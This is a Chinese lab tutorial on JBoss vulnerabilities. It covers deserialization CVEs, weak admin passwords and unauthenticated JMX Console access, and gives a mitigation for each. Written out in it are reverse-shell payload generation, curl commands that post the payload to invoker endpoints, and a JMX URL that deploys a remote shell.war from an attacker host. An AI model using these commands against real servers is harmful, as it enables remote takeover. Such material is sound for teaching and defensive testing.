JBoss中间件漏洞总结
- 服务器
- 2023-01-28
一.Jboss简介
Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080
二.Jboss安装
下载地址:https://jbossas.jboss.org/downloads/
1.安装jdk
这里用了两台机子,一台安装老版本Jboss4,jdk选1.6,一台安装Jboss6.jdk选1.7
这里可以注意一下jboss5-7可以被jdk7支持,jboss4可以被jdk6支持;使用jdk8的话访问JMX-console会报500;
安装jdk步骤网上教程很多,我就不写了,这里已经装好。
image-20210819161330082image-202108191613537052.下载并安装Jboss6
下载jboss-6.1.0.Final:
image-20210819150959561将其拉入虚拟机c盘
image-20210820101410679新建环境变量:
JBOSS_HOME值为C:\jboss-6.1.0.Final
image-20210820101555697path中加入:
;%JBOSS_HOME%\bin;
image-20210820101919780在该目录下双击run.bat启动
C:\jboss-6.1.0.Final\bin
image-20210820102031667出现info即为启动成功,本地可成功访问。
image-20210820102615856此时远程访问是访问不了的,我们需要修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml的配置实现外网访问。将address="${jboss.bind.address}"改成address="0.0.0.0"
image-20210820105055554保存后重启jboss,即可实现外网访问;
image-202108201054248023.下载并安装Jboss4
Jboss4和Jboss6的安装步骤一样,唯一不同的是在外网访问的配置文件上修改的地方不太一样;
image-20210820135311614进去下面目录,修改server.xml,如下图成功访问
C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer
image-20210820135514710image-20210820135718708三.Jboss渗透
1.Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)
漏洞原理该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。
影响版本Jboss AS 5.x
Jboss AS 6.x
漏洞验证访问/invoker/readonly,返回500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),说明此页面存在反序列化漏洞
image-20210820144055866漏洞复现下载漏洞利用工具:https://github.com/joaomatosf/JavaDeserH2HC
image-20210823090347902编译(需要java环境)
cd/opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
这里我已经安装好
image-20210820144519927开启监听
image-20210820144803249选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据;生成ReverseShellCommonsCollectionsHashMap.class;
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.ja
va
image-20210823090310580生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192
.168.10.65:12345
image-20210823090832540利用ReverseShellCommonsCollectionsHashMap.ser,以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.10.154:8080/invoker/readonly--data-binary @ReverseShellCommonsCollectionsHashMap.ser
image-20210823091400586成功反弹shell。
安全防护1.升级新版本。2.删除http-invoker.sar 组件,路径如下
C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
image-202108230934070623.添加如下代码至 http-invoker.sar 下 web.xml的security-constraint 标签中,用于对 http invoker 组件进行访问控制。
路径为:
C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF
image-20210823093730532image-202108230937076512.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞原理JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
漏洞验证访问/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。
image-20210823092835771漏洞复现这里利用上面生成的序列化数据ReverseShellCommonsCollectionsHashMap.ser,发送到/invoker/JMXInvokerServlet接口中;
curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseSh
ellCommonsCollectionsHashMap.ser
image-20210823093222160成功反弹shell。
安全防护同上;
3.JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
漏洞原理这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。
影响版本Jboss AS 4.x及之前版本
漏洞验证访问/jbossmq-httpil/HTTPServerILServlet,出现如下页面,说明存在该漏洞
image-20210823094243623漏洞复现这里利用上面生成好的序列化数据,发送到改接口中:
curl http://192.168.10.213:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
image-20210823094553928成功反弹shell
安全防护升级到最新版本。
4.JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
漏洞原理此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
影响版本 jboss 6.x 版本
漏洞验证访问/invoker/EJBInvokerServlet,如果可以访问的到,说明存在漏洞
image-20210823094955346漏洞复现还是利用上面生成的.ser文件,通过POST 二进制数据上去,反向连接shell
curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
image-202108230953260565.Administration Console 弱口令
漏洞原理Administration Console管理页面存在弱口令,登录后台可以上传war包
影响版本漏洞验证image-20210823100247859漏洞复现admin/admin弱口令登录,点击add a new resource上传war包
image-20210823104115380点击war包进入下一层,若状态为stop,则点击start,默认都是start,不需要点。
image-20210823104345893蚁剑成功连接
image-20210823104524819安全防护修改密码,密码文件路径为
C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
或者删除Administration Console页面
Jboss版本>=6.0,admin-console页面路径为
C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路径为
C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
6.JMX Console未授权访问漏洞
漏洞原理访问控制不严导致的漏洞,默认情况下访问 http://ip:8080/jmx-console 就可以访问管理控制台,不需要输入用户名和密码就可以直接浏览 JBoss 的部署管理的信息,部署上传木马,存在安全隐患。
影响版本JBOSS 全版本
漏洞验证点击主页的JMX Console进入页面
漏洞复现Jboss4.x的复现:
kali开启远程服务,为了下面部署war包
image-20210823115736527进入JXM Console之后,找到jboss.deployment
image-20210823111537878点进去找到void addURL(),输入远程war包链接之后,点击invoke
image-20210823121654413回到这个页面上方,点击Apply Changes
image-20210823121833925返回到JMX Console页面,等待一会,刷新后可以看见部署成功
image-20210823122437357蚁剑成功连接
image-20210823122620639Jboss6.x的复现:
步骤差不多一样
image-20210823122818531在该页面找到methodindex为17or19的deploy,填写远程war包的地址进行远程部署
image-20210823130424900image-20210823130758283image-20210823130823043image-20210823131048341或者是直接运行下面的语句部署即可
http://192.168.10.154:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.syst
em:service=MainDeployer&methodIndex=17&arg0=http://192.168.10.65/shell.war
image-20210823131823568蚁剑成功连接
image-20210823131009567部署的路径为如下,可以看见自动部署出war中的文件。
C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
image-20210823131904293安全防护关闭jmx-console和web-console,提高安全性。
7.JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)
漏洞原理此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。
影响版本Jboss4.x以下
漏洞复现输⼊url:http://192.168.10.213:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位到void store()
image-20210823133106427分别向四个参数传入内容:
p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的格式,p4传入的是上传文件的内容
image-20210823134213929点击invoke
image-20210823134234176经过测试,已经写入,但是目录底层不对,跳转不过去,无法上线蚁剑,这是个问题,暂时保留,有师傅有解决方法可以告诉我一下,万分感谢。
image-20210823142321972image-20210823135236215安全防护目前官方已经发布了升级补丁以修复这个安全问题,请到官网的主页下载:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036
四.自动化渗透
jexboss自动化渗透jexboss是针对jboss渗透自动化估计武器,是用于测试和利用JBoss Application Server和其他java平台、框架、应用程序等中的漏洞的工具。
下载地址:https://github.com/joaomatosf/jexboss
这里演示的环境是我上面搭建的4.x和6.x的环境。
输入命令
python jexboss.py -host http://192.168.10.213:8080/
输入yes即可
image-20210823141601720image-20210823141649693成功交互。